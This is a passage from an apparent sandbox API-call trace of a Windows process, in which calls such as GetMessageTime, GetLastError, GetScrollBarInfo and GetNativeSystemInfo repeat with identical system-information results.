dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.938] GetMessageTime () returned 0 [0056.938] GetLastError () returned 0x578 [0056.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.939] GetMessageTime () returned 0 [0056.939] GetLastError () returned 0x578 [0056.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.940] GetMessageTime () returned 0 [0056.940] GetLastError () returned 0x578 [0056.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.941] GetMessageTime () returned 0 [0056.941] GetLastError () returned 0x578 [0056.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.942] GetMessageTime () returned 0 [0056.942] GetLastError () returned 0x578 [0056.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.943] GetMessageTime () returned 0 [0056.943] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.944] GetMessageTime () returned 0 [0056.944] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.944] GetMessageTime () returned 0 [0056.944] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.944] GetMessageTime () returned 0 [0056.944] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.944] GetMessageTime () returned 0 [0056.944] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.944] GetMessageTime () returned 0 [0056.944] GetLastError () returned 0x578 [0056.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.945] GetMessageTime () returned 0 [0056.945] GetLastError () returned 0x578 [0056.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: 